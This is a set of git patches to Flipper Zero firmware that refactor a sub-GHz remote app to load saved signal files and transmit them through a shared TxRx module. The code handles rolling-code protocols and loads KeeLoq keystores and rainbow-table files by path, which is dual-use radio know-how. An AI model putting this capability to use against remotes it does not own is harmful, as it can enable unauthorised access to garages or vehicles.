furi_hal_subghz_reset(); + furi_hal_subghz_idle(); + furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); + + furi_hal_subghz_idle(); + + furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); + furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); + + if(!furi_hal_subghz_tx()) { + FURI_LOG_E(TAG, "Sending not allowed"); + break; + } + + if(sub_preset->type == SubGhzProtocolTypeRAW) { + subghz_protocol_raw_file_encoder_worker_set_callback_end( + (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( + app->transmitter), + callback, + app); + } + + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); + + ret = true; + } + } while(false); + + app->tx_running = ret; + + return ret; +} + +static void subghz_tx_stop(SubGhzRemoteApp* app) { + furi_assert(app); + + //Stop TX + furi_hal_subghz_stop_async_tx(); + + subghz_transmitter_stop(app->transmitter); + subghz_transmitter_free(app->transmitter); + furi_hal_subghz_idle(); +} + +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { + furi_assert(app); + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + + if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { + // SubRemSubKeyTypeRawKey)) { + if(app->tx_running) { + subghz_tx_stop(app); + + if(sub_preset->type == SubGhzProtocolTypeDynamic) { + subrem_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); + + keeloq_reset_mfname(); + keeloq_reset_kl_type(); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + star_line_reset_mfname(); + star_line_reset_kl_type(); + } + + app->tx_running = false; + return true; + } + } + + return false; +} + SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { furi_assert(app); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index 40d70411a..5d34968cd 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -1,6 +1,8 @@ #pragma once #include "helpers/subrem_types.h" +#include "helpers/subrem_presets.h" + #include #include "views/remote.h" @@ -30,25 +32,8 @@ #define SUBREM_MAX_LEN_NAME 64 typedef struct { - uint32_t frequency; - uint8_t* data; -} FreqPreset; - -// Sub File preset -typedef struct { - FlipperFormat* fff_data; - FreqPreset freq_preset; - FuriString* file_path; - FuriString* protocaol_name; - FuriString* label; - SubGhzProtocolType type; - SubRemLoadSubState load_state; -} SubRemSubFilePreset; - -SubRemSubFilePreset* subrem_sub_file_preset_alloc(); - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); - + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; +} SubRemMapPreset; typedef struct { Gui* gui; ViewDispatcher* view_dispatcher; @@ -56,12 +41,13 @@ typedef struct { NotificationApp* notifications; DialogsApp* dialogs; Submenu* submenu; + FuriString* file_path; - char file_name_tmp[SUBREM_MAX_LEN_NAME]; + // char file_name_tmp[SUBREM_MAX_LEN_NAME]; SubRemViewRemote* subrem_remote_view; - SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; + SubRemMapPreset* map_preset; SubGhzSetting* setting; SubGhzEnvironment* environment; From d9fc408d96b5d012966e5039dced6e9c613ea1a4 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 21 May 2023 20:50:38 +0300 Subject: [PATCH 016/100] fbt: Use union for old py (#2685) --- scripts/fbt/appmanifest.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index ed1654e36..eb265cee8 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -1,7 +1,7 @@ import os from dataclasses import dataclass, field from enum import Enum -from typing import Callable, List, Optional, Tuple +from typing import Callable, List, Optional, Tuple, Union class FlipperManifestException(Exception): @@ -56,7 +56,7 @@ class FlipperApplication: # .fap-specific sources: List[str] = field(default_factory=lambda: ["*.c*"]) - fap_version: str | Tuple[int] = "0.1" + fap_version: Union[str, Tuple[int]] = "0.1" fap_icon: Optional[str] = None fap_libs: List[str] = field(default_factory=list) fap_category: str = "" From 311533a0ac4cd106c2a7c3f53c2a11bffb26328b Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sun, 21 May 2023 23:34:42 +0300 Subject: [PATCH 017/100] Using TxRx from subghz --- .../subghz_remote/helpers/subrem_presets.c | 139 +++++++ .../subghz_remote/helpers/subrem_presets.h | 13 +- .../main/subghz_remote/helpers/subrem_types.h | 2 +- .../scenes/subrem_scene_openmapfile.c | 3 +- .../scenes/subrem_scene_remote.c | 51 +-- .../main/subghz_remote/subghz_remote_app.c | 22 +- .../main/subghz_remote/subghz_remote_app_i.c | 346 ++++++------------ .../main/subghz_remote/subghz_remote_app_i.h | 19 +- .../main/subghz_remote/views/remote.c | 36 +- .../main/subghz_remote/views/remote.h | 12 +- 10 files changed, 310 insertions(+), 333 deletions(-) diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c index 03e497198..9601aae6c 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.c +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -1,5 +1,7 @@ #include "subrem_presets.h" +#define TAG "SubRemPresets" + SubRemSubFilePreset* subrem_sub_file_preset_alloc() { SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); @@ -8,6 +10,8 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->protocaol_name = furi_string_alloc(); sub_preset->label = furi_string_alloc_set_str("N/A"); + sub_preset->freq_preset.name = furi_string_alloc(); + sub_preset->type = SubGhzProtocolTypeUnknown; sub_preset->load_state = SubRemLoadSubStateNotSet; @@ -22,6 +26,8 @@ void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { furi_string_free(sub_preset->file_path); flipper_format_free(sub_preset->fff_data); + furi_string_free(sub_preset->freq_preset.name); + free(sub_preset); } @@ -38,3 +44,136 @@ void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { sub_preset->type = SubGhzProtocolTypeUnknown; sub_preset->load_state = SubRemLoadSubStateNotSet; } + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(sub_preset); + furi_assert(txrx); + furi_assert(fff_data_file); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + + SubRemLoadSubState ret; + FuriString* temp_str = furi_string_alloc(); + uint32_t temp_data32; + uint32_t repeat = 200; + + ret = SubRemLoadSubStateError; + + do { + stream_clean(fff_data_stream); + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + break; + } + + if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || + (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && + temp_data32 == SUBGHZ_KEY_FILE_VERSION) { + } else { + FURI_LOG_E(TAG, "Type or version mismatch"); + break; + } + + SubGhzSetting* setting = subghz_txrx_get_setting(txrx); // txrx->setting; + + //Load frequency or using default from settings + ret = SubRemLoadSubStateErrorFreq; + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); + sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency(setting); + } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { + FURI_LOG_E(TAG, "This frequency can only be used for RX"); + break; + } + sub_preset->freq_preset.frequency = temp_data32; + + //Load preset + ret = SubRemLoadSubStateErrorMod; + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Missing Preset"); + break; + } + + furi_string_set_str( + temp_str, subghz_txrx_get_preset_name(txrx, furi_string_get_cstr(temp_str))); + if(!strcmp(furi_string_get_cstr(temp_str), "")) { + break; + } + + if(!strcmp(furi_string_get_cstr(temp_str), "CUSTOM")) { + FURI_LOG_E(TAG, "CUSTOM preset is not supported"); + break; + // TODO Custom preset loading logic if need + // sub_preset->freq_preset.preset_index = + // subghz_setting_get_inx_preset_by_name(setting, furi_string_get_cstr(temp_str)); + } + + furi_string_set(sub_preset->freq_preset.name, temp_str); + + // Load protocol + ret = SubRemLoadSubStateErrorProtocol; + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + break; + } + + FlipperFormat* fff_data = sub_preset->fff_data; + if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { + //if RAW + subghz_protocol_raw_gen_fff_data( + fff_data, furi_string_get_cstr(sub_preset->file_path)); + } else { + stream_copy_full( + flipper_format_get_raw_stream(fff_data_file), + flipper_format_get_raw_stream(fff_data)); + } + + if(subghz_txrx_load_decoder_by_name_protocol(txrx, furi_string_get_cstr(temp_str))) { + SubGhzProtocolStatus status = + subghz_protocol_decoder_base_deserialize(subghz_txrx_get_decoder(txrx), fff_data); + if(status != SubGhzProtocolStatusOk) { + break; + } + } else { + FURI_LOG_E(TAG, "Protocol not found"); + break; + } + + const SubGhzProtocol* protocol = subghz_txrx_get_decoder(txrx)->protocol; + + if(protocol->flag & SubGhzProtocolFlag_Send) { + if((protocol->type == SubGhzProtocolTypeStatic) || + (protocol->type == SubGhzProtocolTypeDynamic) || + // TODO: BINRAW It probably works, but checks are needed. + // (protocol->type == SubGhzProtocolTypeBinRAW) || + (protocol->type == SubGhzProtocolTypeRAW)) { + sub_preset->type = protocol->type; + } else { + FURI_LOG_E(TAG, "Unsuported Protocol"); + break; + } + + furi_string_set(sub_preset->protocaol_name, temp_str); + } else { + FURI_LOG_E(TAG, "Protocol does not support transmission"); + break; + } + + if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + ret = SubRemLoadSubStateOK; + +#if FURI_DEBUG + FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); +#endif + } while(false); + + furi_string_free(temp_str); + return ret; +} diff --git a/applications/main/subghz_remote/helpers/subrem_presets.h b/applications/main/subghz_remote/helpers/subrem_presets.h index 60eedad57..fd4a2d780 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.h +++ b/applications/main/subghz_remote/helpers/subrem_presets.h @@ -3,10 +3,12 @@ #include "subrem_types.h" #include #include +#include "../../subghz/helpers/subghz_txrx.h" typedef struct { + FuriString* name; uint32_t frequency; - uint8_t* data; + // size_t preset_index; // Need for custom preset } FreqPreset; // Sub File preset @@ -20,8 +22,17 @@ typedef struct { SubRemLoadSubState load_state; } SubRemSubFilePreset; +typedef struct { + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; +} SubRemMapPreset; + SubRemSubFilePreset* subrem_sub_file_preset_alloc(); void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset); + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file); diff --git a/applications/main/subghz_remote/helpers/subrem_types.h b/applications/main/subghz_remote/helpers/subrem_types.h index 13b42897f..def807898 100644 --- a/applications/main/subghz_remote/helpers/subrem_types.h +++ b/applications/main/subghz_remote/helpers/subrem_types.h @@ -26,7 +26,7 @@ typedef enum { } SubRemViewID; typedef enum { - SubRemLoadSubStateNotSet, + SubRemLoadSubStateNotSet = 0, SubRemLoadSubStatePreloaded, SubRemLoadSubStateError, SubRemLoadSubStateErrorNoFile, diff --git a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c b/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c index ea5c14a0a..796699c83 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c @@ -4,7 +4,8 @@ void subrem_scene_openmapfile_on_enter(void* context) { SubGhzRemoteApp* app = context; SubRemLoadMapState load_state = subrem_load_from_file(app); - if(load_state == SubRemLoadMapStateError) { + if(load_state != SubRemLoadMapStateOK && load_state != SubRemLoadMapStateNotAllOK && + load_state != SubRemLoadMapStateBack) { #ifdef SUBREM_LIGHT dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); #else diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index 1b8dbc471..eaa1c41d9 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -37,17 +37,16 @@ static uint8_t subrem_scene_remote_event_to_index(SubRemCustomEvent event_id) { static bool subrem_scene_remote_update_data_show(void* context) { SubGhzRemoteApp* app = context; - bool ret = false; - subrem_view_remote_add_data_to_show( - app->subrem_remote_view, - furi_string_get_cstr(app->map_preset->subs_preset[0]->label), - furi_string_get_cstr(app->map_preset->subs_preset[1]->label), - furi_string_get_cstr(app->map_preset->subs_preset[2]->label), - furi_string_get_cstr(app->map_preset->subs_preset[3]->label), - furi_string_get_cstr(app->map_preset->subs_preset[4]->label)); + const char* labels[SubRemSubKeyNameMaxCount]; - return ret; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + labels[i] = furi_string_get_cstr(app->map_preset->subs_preset[i]->label); + } + + subrem_view_remote_add_data_to_show(app->subrem_remote_view, labels); + + return true; } void subrem_scene_remote_on_enter(void* context) { @@ -81,32 +80,37 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { event.event == SubRemCustomEventViewRemoteStartOK) { // Start sending sub subrem_tx_stop_sub(app, true); - app->chusen_sub = subrem_scene_remote_event_to_index(event.event); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); - if(subrem_tx_start_sub( - app, - app->map_preset->subs_preset[app->chusen_sub], - subrem_scene_remote_raw_callback_end_tx)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); + + uint8_t chusen_sub = subrem_scene_remote_event_to_index(event.event); + app->chusen_sub = chusen_sub; + + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateLoading, chusen_sub); + + if(subrem_tx_start_sub(app, app->map_preset->subs_preset[chusen_sub])) { + if(app->map_preset->subs_preset[chusen_sub]->type == SubGhzProtocolTypeRAW) { + subghz_txrx_set_raw_file_encoder_worker_callback_end( + app->txrx, subrem_scene_remote_raw_callback_end_tx, app); + } subrem_view_remote_set_state( - app->subrem_remote_view, SubRemViewRemoteStateSending); + app->subrem_remote_view, SubRemViewRemoteStateSending, chusen_sub); notification_message(app->notifications, &sequence_blink_start_magenta); } else { - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } return true; } else if(event.event == SubRemCustomEventViewRemoteForcedStop) { subrem_tx_stop_sub(app, true); - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); return true; } else if(event.event == SubRemCustomEventViewRemoteStop) { if(subrem_tx_stop_sub(app, false)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } @@ -123,8 +127,7 @@ void subrem_scene_remote_on_exit(void* context) { subrem_tx_stop_sub(app, true); - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index 4f9138e2a..7383757d2 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -79,23 +79,9 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->map_preset->subs_preset[i] = subrem_sub_file_preset_alloc(); } - app->setting = subghz_setting_alloc(); - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); + app->txrx = subghz_txrx_alloc(); - app->environment = subghz_environment_alloc(); - - subghz_environment_load_keystore(app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); - subghz_environment_load_keystore( - app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); - subghz_environment_set_came_atomo_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/came_atomo")); - subghz_environment_set_alutech_at_4n_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/alutech_at_4n")); - subghz_environment_set_nice_flor_s_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/nice_flor_s")); - subghz_environment_set_protocol_registry(app->environment, (void*)&subghz_protocol_registry); - - app->receiver = subghz_receiver_alloc_init(app->environment); + subghz_txrx_set_need_save_callback(app->txrx, subrem_save_active_sub, app); app->tx_running = false; @@ -132,9 +118,7 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { scene_manager_free(app->scene_manager); view_dispatcher_free(app->view_dispatcher); - subghz_receiver_free(app->receiver); - subghz_environment_free(app->environment); - subghz_setting_free(app->setting); + subghz_txrx_free(app->txrx); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { subrem_sub_file_preset_free(app->map_preset->subs_preset[i]); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index 9c35a0e03..fb34b59f7 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -4,6 +4,8 @@ #include +#include "../subghz/helpers/subghz_txrx_i.h" + // #include // #include @@ -11,6 +13,12 @@ #define TAG "SubGhzRemote" +// XXX Using TxRx +// [x] use TxRx preset subrem_sub_preset_load & subrem_tx_start_sub +// [x] subrem_sub_preset_load & drop subrem_set_preset_data +// [x] subrem_tx_start_sub +// [x] subrem_tx_stop_sub + static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameUp] = {"UP", "ULABEL"}, [SubRemSubKeyNameDown] = {"DOWN", "DLABEL"}, @@ -19,30 +27,7 @@ static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameOk] = {"OK", "OKLABEL"}, }; -static bool - subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { - const char* preset_name = ""; - if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { - preset_name = "AM270"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { - preset_name = "AM650"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { - preset_name = "FM238"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { - preset_name = "FM476"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { - // preset_name = "CUSTOM"; - return false; - } else { - FURI_LOG_E(TAG, "Unknown preset"); - return false; - } - size_t preset_index = subghz_setting_get_inx_preset_by_name(setting, preset_name); - freq_preset->data = subghz_setting_get_preset_data(setting, preset_index); - return true; -} - -void subrem_map_preset_reset(SubRemMapPreset* map_preset) { +static void subrem_map_preset_reset(SubRemMapPreset* map_preset) { furi_assert(map_preset); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { @@ -50,12 +35,61 @@ void subrem_map_preset_reset(SubRemMapPreset* map_preset) { } } -static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); +static SubRemLoadMapState subrem_map_preset_check( + SubRemMapPreset* map_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(map_preset); + furi_assert(txrx); + + bool all_loaded = true; + SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; + + SubRemLoadSubState sub_preset_loaded; + SubRemSubFilePreset* sub_preset; + + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = map_preset->subs_preset[i]; + + sub_preset_loaded = SubRemLoadSubStateErrorNoFile; + + if(furi_string_empty(sub_preset->file_path)) { + // FURI_LOG_I(TAG, "Empty file path"); + } else if(!flipper_format_file_open_existing( + fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { + FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); + } else { + sub_preset_loaded = subrem_sub_preset_load(sub_preset, txrx, fff_data_file); + } + + // TODO: + // Load file state logic + // Label depending on the state + // Move to remote scene + + if(sub_preset_loaded != SubRemLoadSubStateOK) { + furi_string_set_str(sub_preset->label, "N/A"); + all_loaded = false; + } else { + ret = SubRemLoadMapStateNotAllOK; + } + + if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { + ret = SubRemLoadMapStateOK; + } + + flipper_format_file_close(fff_data_file); + } + + return ret; +} + +static bool subrem_map_preset_load(SubRemMapPreset* map_preset, FlipperFormat* fff_data_file) { + furi_assert(map_preset); bool ret = false; SubRemSubFilePreset* sub_preset; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->map_preset->subs_preset[i]; + sub_preset = map_preset->subs_preset[i]; if(!flipper_format_read_string( fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { #if FURI_DEBUG @@ -69,8 +103,13 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data #if FURI_DEBUG FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); #endif + // TODO move to remote scene path_extract_filename(sub_preset->file_path, sub_preset->label, true); + ret = true; } else { + ret = true; + } + if(ret) { // Preload seccesful FURI_LOG_I( TAG, @@ -78,157 +117,14 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data map_file_labels[i][0], furi_string_get_cstr(sub_preset->label), furi_string_get_cstr(sub_preset->file_path)); - ret = true; sub_preset->load_state = SubRemLoadSubStatePreloaded; } + flipper_format_rewind(fff_data_file); } return ret; } -static SubRemLoadMapState - subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); - FuriString* temp_str = furi_string_alloc(); - uint32_t temp_data32; - bool all_loaded = true; - SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; - SubRemLoadSubState sub_preset_loaded; - SubRemSubFilePreset* sub_preset; - uint32_t repeat = 200; - for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->map_preset->subs_preset[i]; - if(furi_string_empty(sub_preset->file_path)) { - // FURI_LOG_I(TAG, "Empty file path"); - continue; - } - - sub_preset_loaded = SubRemLoadSubStateErrorNoFile; - - repeat = 200; - do { - if(!flipper_format_file_open_existing( - fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { - FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); - break; - } - - if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || - (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && - temp_data32 == SUBGHZ_KEY_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - //Load frequency - sub_preset_loaded = SubRemLoadSubStateErrorFreq; - if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { - FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); - sub_preset->freq_preset.frequency = - subghz_setting_get_default_frequency(app->setting); - } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { - FURI_LOG_E(TAG, "This frequency can only be used for RX"); - break; - } else { - sub_preset->freq_preset.frequency = temp_data32; - } - - //Load preset - sub_preset_loaded = SubRemLoadSubStateErrorMod; - if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { - FURI_LOG_E(TAG, "Missing Preset"); - break; - } - - if(!subrem_set_preset_data( - app->setting, &sub_preset->freq_preset, furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Cannot load preset."); - break; - } - - //Load protocol - sub_preset_loaded = SubRemLoadSubStateErrorProtocol; - if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { - FURI_LOG_E(TAG, "Missing Protocol"); - break; - } - - FlipperFormat* fff_data = sub_preset->fff_data; - if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { - //if RAW - subghz_protocol_raw_gen_fff_data( - fff_data, furi_string_get_cstr(sub_preset->file_path)); - } else { - stream_copy_full( - flipper_format_get_raw_stream(fff_data_file), - flipper_format_get_raw_stream(fff_data)); - } - - const SubGhzProtocolRegistry* protocol_registry_items = - subghz_environment_get_protocol_registry(app->environment); - - const SubGhzProtocol* protocol = subghz_protocol_registry_get_by_name( - protocol_registry_items, furi_string_get_cstr(temp_str)); - - if(!protocol) { - FURI_LOG_E(TAG, "Protocol not found"); - break; - } else if(protocol->flag & SubGhzProtocolFlag_Send) { - if((protocol->type == SubGhzProtocolTypeStatic) || - (protocol->type == SubGhzProtocolTypeDynamic) || - // (protocol->type == SubGhzProtocolTypeBinRAW) || // TODO: BINRAW - (protocol->type == SubGhzProtocolTypeRAW)) { - sub_preset->type = protocol->type; - } else { - FURI_LOG_E(TAG, "Unsuported Protocol"); - break; - } - - furi_string_set(sub_preset->protocaol_name, temp_str); - } else { - FURI_LOG_E(TAG, "Protocol does not support transmission"); - } - - if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - sub_preset_loaded = SubRemLoadSubStateOK; - ret = SubRemLoadMapStateNotAllOK; - -#if FURI_DEBUG - FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); -#endif - } while(false); - - // TODO: - // Load file state logic - // Label depending on the state - // Move to remote scene - - if(sub_preset_loaded != SubRemLoadSubStateOK) { - furi_string_set_str(sub_preset->label, "N/A"); - all_loaded = false; - } - - if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { - ret = SubRemLoadMapStateOK; - } - - flipper_format_file_close(fff_data_file); - } - furi_string_free(temp_str); - - return ret; -} - SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_assert(app); furi_assert(file_path); @@ -247,13 +143,13 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); ret = SubRemLoadMapStateErrorOpenError; } else { - if(!subrem_map_preset_load(app, fff_data_file)) { + if(!subrem_map_preset_load(app->map_preset, fff_data_file)) { FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); // ret = // error for popup } else if(!flipper_format_file_close(fff_data_file)) { ret = SubRemLoadMapStateErrorOpenError; } else { - ret = subrem_map_preset_check(app, fff_data_file); + ret = subrem_map_preset_check(app->map_preset, app->txrx, fff_data_file); } } @@ -272,9 +168,9 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p return ret; } -bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* sub_file_name) { furi_assert(flipper_format); - furi_assert(dev_file_name); + furi_assert(sub_file_name); Storage* storage = furi_record_open(RECORD_STORAGE); Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); @@ -283,19 +179,19 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev uint32_t repeat = 200; FuriString* file_dir = furi_string_alloc(); - path_extract_dirname(dev_file_name, file_dir); + path_extract_dirname(sub_file_name, file_dir); do { // removing additional fields flipper_format_delete_key(flipper_format, "Repeat"); // flipper_format_delete_key(flipper_format, "Manufacture"); - if(!storage_simply_remove(storage, dev_file_name)) { + if(!storage_simply_remove(storage, sub_file_name)) { break; } //ToDo check Write stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); - stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + stream_save_to_file(flipper_format_stream, storage, sub_file_name, FSOM_CREATE_ALWAYS); if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { FURI_LOG_E(TAG, "Unable Repeat"); @@ -310,10 +206,16 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev return saved; } -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - 